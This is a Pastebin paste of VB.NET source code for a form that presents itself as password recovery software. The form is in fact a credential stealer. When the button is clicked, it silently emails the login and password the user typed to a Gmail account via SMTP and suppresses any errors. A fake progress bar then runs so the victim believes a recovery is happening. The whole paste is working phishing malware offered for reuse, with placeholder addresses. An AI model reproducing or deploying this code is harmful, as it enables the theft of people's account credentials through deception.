Advertisement
Enertix_YTB

Logiciel de récupération de Mot de pass

Apr 24th, 2018
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  6.         ProgressBar1.Value = ProgressBar1.Value + 1
  7.         If ProgressBar1.Value = ProgressBar1.Maximum Then
  8.             ProgressBar1.Value = 0
  9.             Timer1.Stop()
  10.             Timer1.Enabled = False
  11.             TextBox1.Enabled = True
  12.             TextBox2.Enabled = True
  13.  
  14.  
  15.         End If
  16.  
  17.     End Sub
  18.  
  19.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  20.  
  21.  
  22.         Dim MyMailMessage As New MailMessage()
  23.         Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  24.  
  25.         'Email
  26.        MyMailMessage.From = New MailAddress("@gmail.com") 'Destinataire
  27.        MyMailMessage.To.Add("@gmail.com") 'Expéditeur
  28.        MyMailMessage.Subject = ("[!] Nouveau Compte") 'Sujet
  29.        MyMailMessage.Body = ("Login: " & TextBox1.Text & " Pass: " & TextBox2.Text) 'Corps
  30.        'SMTP
  31.        SMTPServer.Port = ("587")
  32.         SMTPServer.Credentials = New System.Net.NetworkCredential("@gmail.com", "MDP") 'Email (+Pass)
  33.        SMTPServer.EnableSsl = True
  34.  
  35.         Try
  36.             SMTPServer.Send(MyMailMessage) 'Envoi
  37.  
  38.         Catch ex As Exception
  39.         End Try
  40.         Timer1.Enabled = True
  41.         Timer1.Start()
  42.         Timer1.Interval = 1000 ' = 1min
  43.        TextBox1.Enabled = False
  44.         TextBox2.Enabled = False
  45.  
  46.  
  47.     End Sub
  48. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement